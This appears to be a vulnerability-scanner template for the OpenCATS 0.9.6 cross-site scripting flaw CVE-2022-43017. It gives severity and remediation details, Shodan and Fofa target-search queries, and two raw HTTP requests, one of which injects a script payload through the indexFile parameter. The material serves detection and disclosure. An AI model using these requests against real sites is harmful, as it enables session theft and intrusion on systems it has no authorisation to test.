| Title | OpenCATS 0.9.6 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses this issue. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09911 |
| CVE ID | CVE-2022-43017 |
| CWE ID | CWE-79 |
| Shodan Query | title:"OpenCATS"http.title:"opencats" |
| Fofa Query | title="opencats" |
| Tags | cve cve2022 xss opencats authenticated vuln |
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the indexFile component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=TOVKMH&password=euIBjk
GET /ajax.php?f=getPipelineJobOrder&joborderID=1&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=15)"></a><script>alert(document.domain)</script>&isPopup=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Accept-Encoding: gzip
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